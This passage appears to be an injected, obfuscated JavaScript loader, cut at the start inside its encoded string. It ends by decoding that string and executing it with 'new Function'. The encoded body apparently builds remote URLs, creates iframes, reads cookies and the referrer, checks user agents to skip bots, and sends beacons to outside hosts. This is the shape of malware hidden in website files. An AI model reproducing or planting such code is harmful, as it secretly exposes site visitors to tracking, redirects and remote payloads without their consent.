]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();